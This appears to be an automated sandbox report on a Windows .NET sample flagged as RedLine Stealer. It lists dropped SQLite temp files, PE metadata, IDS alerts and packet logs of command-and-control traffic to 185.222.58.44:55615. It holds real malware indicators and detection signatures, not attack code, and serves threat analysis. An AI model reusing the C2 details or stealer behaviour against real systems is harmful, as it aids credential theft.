File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB67.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF13D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF14E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF15E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF16F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF17F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF190.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF1A1.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.624351100765213
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	yGu4YUwMl6.exe
File size:	589'824 bytes
MD5:	1161b525009e7448837a658eecc04275
SHA1:	2cad4c2f589760f6ae6830acb122a9d5eb9c66de
SHA256:	7b9c9e71110c3980f1803a7438f507eadea9b078e59a61d551e21e1cae8ad5e5
SHA512:	c85c524a09fc182b3472405b22372c2d6350b2df199d21805980d26215fc5ad075c41b5fdf371c3ddc85e5930e745426f21f0c7d50aa8c7114b2d3fb9451d034
SSDEEP:	12288:9xgmj7oTFHFO1ZhzfQiCwxRyOTBfdgZUxX18:75oTFHU1H5CwxRyu/xl
TLSH:	9EC4CED03B767319DEA45A34D559EDB982A11E78B005BEE75AEC3F83358C211AE0CF48
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.................. ... ....@.. .......................`............`................................

File Icon


Icon Hash:	62ceac86b2968ea2

Static PE Info

General

Entrypoint:	0x4906c6
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67B28EC3 [Mon Feb 17 01:20:03 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x90674	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x92000	0x1220	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x94000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x8e6cc	0x8e800	3c08da8d04b8a20fa500c2b14aff817f	False	0.8524208470394737	data	7.6358286098036405	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x92000	0x1220	0x1400	f95e2e453b4a35a8452f594710a0625c	False	0.287890625	data	4.76780412138502	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x94000	0xc	0x200	e92cf4c02fedb35899f1828b11219e90	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x92118	0xda8	Device independent bitmap graphic, 26 x 64 x 32, image size 3328	0.2823226544622426
RT_GROUP_ICON	0x92ec0	0x14	data	1.1
RT_GROUP_ICON	0x92ed4	0x14	data	1.05
RT_VERSION	0x92ee8	0x336	data	0.42944038929440387

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments	WinFormsSample
CompanyName	Mcro
FileDescription
FileVersion	6.11.0.0
InternalName	ZPVX.exe
LegalCopyright	Copyright Mcro
LegalTrademarks
OriginalFilename	ZPVX.exe
ProductName	WinFormsSample
ProductVersion	6.11.0.0
Assembly Version	6.11.0.0

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-21T19:26:35.949638+0100	1800000	Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect	1	192.168.2.4	49734	185.222.58.44	55615	TCP
2025-02-21T19:26:35.949638+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.4	49734	185.222.58.44	55615	TCP
2025-02-21T19:26:40.980727+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	185.222.58.44	55615	192.168.2.4	49734	TCP
2025-02-21T19:26:41.172955+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.4	49734	185.222.58.44	55615	TCP
2025-02-21T19:26:44.425031+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	185.222.58.44	55615	192.168.2.4	49734	TCP
2025-02-21T19:26:44.425031+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	185.222.58.44	55615	192.168.2.4	49734	TCP
2025-02-21T19:26:44.479705+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.4	49738	185.222.58.44	55615	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2025 19:26:35.295285940 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:35.300484896 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:35.300569057 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:35.317444086 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:35.322432995 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:35.668544054 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:35.673679113 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:35.907294989 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:35.949637890 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:40.975482941 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:40.975519896 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:40.980726957 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:40.980815887 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.172713995 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.172894001 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.172925949 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.172955036 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:41.172960043 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.172995090 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:41.173006058 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:41.215226889 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:41.261674881 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:41.261744976 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:41.261877060 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:41.269360065 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:41.269382954 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:41.751168966 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:41.751344919 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:41.770749092 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:41.770773888 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:41.771856070 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:41.824651003 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:42.225039005 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:42.271336079 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:42.644593000 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:42.645200968 CET	443	49737	104.26.12.31	192.168.2.4
Feb 21, 2025 19:26:42.645282984 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:42.647321939 CET	49737	443	192.168.2.4	104.26.12.31
Feb 21, 2025 19:26:44.419666052 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.420229912 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.425030947 CET	55615	49734	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.425107002 CET	49734	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.425360918 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.425442934 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.425841093 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.426059008 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.431801081 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.431878090 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.432343960 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.432374001 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.432435989 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.432446003 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.432473898 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.432501078 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.432506084 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.432531118 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.432598114 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.433549881 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.433579922 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.433650017 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.436886072 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.436914921 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.436958075 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.437006950 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.437936068 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438005924 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.438550949 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438580036 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438616037 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.438627958 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438648939 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.438657045 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438676119 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.438685894 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.438747883 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.439138889 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.439204931 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.479491949 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.479705095 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.527625084 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.527720928 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.575752974 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.575879097 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.623600960 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.625817060 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.671546936 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.671652079 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.719588995 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.720439911 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.767445087 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.769783020 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.815495014 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.815608025 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.863739014 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.867203951 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.867331982 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.867634058 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.872313023 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.872802973 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.872890949 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.872915030 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.872961998 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873012066 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873034000 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873039007 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873065948 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873092890 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873102903 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873137951 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873141050 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873169899 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873195887 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873197079 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873224020 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873243093 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873274088 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873281002 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873301983 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873349905 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873357058 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873378038 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873393059 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873405933 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873424053 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873435020 CET	55615	49738	185.222.58.44	192.168.2.4
Feb 21, 2025 19:26:44.873445034 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873467922 CET	49738	55615	192.168.2.4	185.222.58.44
Feb 21, 2025 19:26:44.873483896 CET	55615	49738	185.222.58.44	192.168.2.4
